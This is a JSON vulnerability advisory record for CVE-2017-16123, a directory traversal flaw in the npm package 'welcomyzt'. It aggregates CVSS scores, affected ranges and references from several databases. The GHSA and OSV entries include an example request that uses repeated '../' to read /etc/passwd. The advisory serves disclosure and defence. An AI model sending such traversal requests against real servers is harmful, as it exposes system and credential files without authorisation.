{"id":"CVE-2017-16123","aliases":["EUVD-2020-0886","GHSA-8fv7-vm2p-5495"],"status":"published","title":"Directory Traversal in welcomyzt","description":"welcomyzt is a simple file server. welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the url.","severity":{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-08","score":0.01974,"percentile":0.80589,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-22"],"published":"2018-06-07T02:00:00Z","modified":"2026-06-17T01:08:50Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"welcomyzt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.0"}]}]},{"source":"osv","ecosystem":"npm","package":"welcomyzt","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0"}]}]}],"products":[{"vendor":"hackerone","product":"welcomyzt node module"},{"vendor":"welcomyzt_project","product":"welcomyzt"}],"references":[{"url":"https://nodesecurity.io/advisories/388","tags":["x_refsource_MISC","x_transferred","Third Party Advisory"]},{"url":"https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/pooledwebsocket","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","web"]},{"url":"https://www.npmjs.com/advisories/388","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16123","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8fv7-vm2p-5495"}],"sources":{"cve":[{"id":"CVE-2017-16123","description":"welcomyzt is a simple file server. welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the url.","status":"published","published":"2018-06-07T02:00:00Z","modified":"2024-09-16T17:49:01.423Z","cwes":["CWE-22"],"updated_at":"2026-11-02T14:33:21.453505Z"}],"euvd":[{"id":"EUVD-2020-0886","description":"welcomyzt is a simple file server. welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the url.","status":"published","published":"2018-06-07T02:00:00Z","modified":"2024-09-16T17:49:01Z","updated_at":"2026-11-03T00:55:38.288771Z"}],"ghsa":[{"id":"GHSA-8fv7-vm2p-5495","title":"Directory Traversal in welcomyzt","description":"`welcomyzt` is a simple file server.\n\n`welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing `../` in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.","status":"published","published":"2020-09-01T17:23:53Z","modified":"2023-09-11T16:37:07Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:37:03.916765Z"}],"nvd":[{"id":"CVE-2017-16123","description":"welcomyzt is a simple file server. welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the url.","status":"published","published":"2018-06-07T02:29:03.177Z","modified":"2026-06-17T01:08:50.183Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:P/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:04:17.638656Z"}],"osv":[{"id":"GHSA-8fv7-vm2p-5495","title":"Directory Traversal in welcomyzt","description":"`welcomyzt` is a simple file server.\n\n`welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing `../` in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.","status":"published","published":"2020-09-01T17:23:53Z","modified":"2023-11-08T03:59:06.195567Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:42.437513Z"}]}}